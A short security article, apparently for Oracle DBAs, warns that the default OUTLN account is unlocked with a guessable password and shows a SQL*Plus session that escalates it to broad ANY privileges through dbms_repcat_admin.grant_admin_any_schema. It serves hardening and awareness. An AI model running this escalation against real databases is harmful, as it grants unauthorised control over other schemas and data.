Starting from Oracle8i, new databases made with a create database command are installed with a user called OUTLN. This schema is used to hold information about stored outlines for the plan stability feature. The user has an easily guessable password and is left unlocked when the database is created. DBAs commonly overlook this but it is so important to either change the password or lock the account because it can be used to gain DBA privileges. Here's how:

$ sqlplus outln/xxxx@DEMO

SQL*Plus: Release 9.2.0.3.0 - Production on Thu Sep 4 13:58:14 2003

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Connected to:
Oracle9i Enterprise Edition Release 9.2.0.3.0 - 64bit Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.3.0 - Production

SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
EXECUTE ANY PROCEDURE
CREATE TRIGGER
CREATE TYPE
CREATE OPERATOR
CREATE INDEXTYPE

The critical system privilege granted by default to the OUTLN user is EXECUTE ANY PROCEDURE. If you can execute any procedure in the database, then try this one and look what privileges you can gain:

SQL> exec dbms_repcat_admin.grant_admin_any_schema('OUTLN');

PL/SQL procedure successfully completed.

SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE ANY TABLE
ALTER ANY TABLE
DROP ANY TABLE
COMMENT ANY TABLE
SELECT ANY TABLE
INSERT ANY TABLE
UPDATE ANY TABLE
DELETE ANY TABLE
CREATE CLUSTER
CREATE ANY CLUSTER
ALTER ANY CLUSTER
DROP ANY CLUSTER
CREATE ANY INDEX
ALTER ANY INDEX
DROP ANY INDEX
CREATE SYNONYM
CREATE ANY SYNONYM
DROP ANY SYNONYM
CREATE PUBLIC SYNONYM
DROP PUBLIC SYNONYM
CREATE VIEW
CREATE ANY VIEW
DROP ANY VIEW
CREATE SEQUENCE
CREATE ANY SEQUENCE
ALTER ANY SEQUENCE
DROP ANY SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
CREATE ANY PROCEDURE
ALTER ANY PROCEDURE
DROP ANY PROCEDURE
EXECUTE ANY PROCEDURE
CREATE TRIGGER
CREATE ANY TRIGGER
ALTER ANY TRIGGER
DROP ANY TRIGGER
CREATE ANY SNAPSHOT
ALTER ANY SNAPSHOT
DROP ANY SNAPSHOT
CREATE TYPE
CREATE ANY TYPE
ALTER ANY TYPE
DROP ANY TYPE
CREATE OPERATOR
CREATE ANY OPERATOR
DROP ANY OPERATOR
CREATE INDEXTYPE
CREATE ANY INDEXTYPE
DROP ANY INDEXTYPE

54 rows selected.

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